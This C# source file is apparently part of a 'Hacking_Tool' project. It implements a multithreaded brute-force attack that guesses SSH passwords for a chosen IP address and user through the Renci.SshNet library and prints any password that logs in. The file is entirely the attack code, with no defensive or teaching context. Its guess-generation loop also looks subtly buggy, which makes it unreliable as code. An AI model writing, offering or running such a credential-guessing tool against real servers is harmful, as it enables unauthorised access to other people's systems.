using Renci.SshNet;
using System;
using System.Threading;

namespace Hacking_Tool
{
    class BruteForce
    {
        private bool run = true;
        private int counter = 0;
        private string ip;
        private string user;

        public BruteForce(string ip, string user)
        {
            this.ip = ip;
            this.user = user;
        }

        public void Test(string pw)
        {
            try
            {
                using (var client = new SshClient(ip, user, pw))
                {
                    client.Connect();
                    client.Disconnect();
                }
                run = false;
                Console.WriteLine("Password: >" + pw + "<");
            }
            catch (Exception e)
            { }
            finally
            {
                counter--;
            }
        }

        public void Bruteforce()
        {
            char[] pw = { 'r', 'o', 'o', 'A' };
            int modify = pw.Length - 1;
            Thread.CurrentThread.Priority = ThreadPriority.Lowest;
            while (run)
            {
                var t = new string(pw);
                counter++;
                if (counter > 100)
                {
                    Thread.Sleep(500);
                }
                Thread thread = new Thread(() => Test(t));
                thread.Priority = ThreadPriority.Highest;
                thread.Start();

                if (modify >= 0 && pw[modify] != 'z')
                {
                    pw[modify]++;
                }
                else
                {
                    if (modify == -1)
                    {
                        Array.Resize(ref pw, pw.Length + 1);
                        for (int i = 0; i < pw.Length; i++)
                        {
                            pw[i] = 'A';
                        }
                        modify = pw.Length - 1;
                    }
                    else
                    {
                        if (pw[modify] == 'z')
                        {
                            while (modify >= 0 && pw[modify] == 'z')
                            {
                                pw[modify] = 'A';
                                modify--;
                            }
                            if (modify != -1)
                            {
                                pw[modify]++;
                                for (int i = modify + 1; modify < pw.Length; modify++)
                                {
                                    pw[i] = 'A';
                                }
                                modify--;
                            }
                        }
                    }
                }
            }
        }
    }
}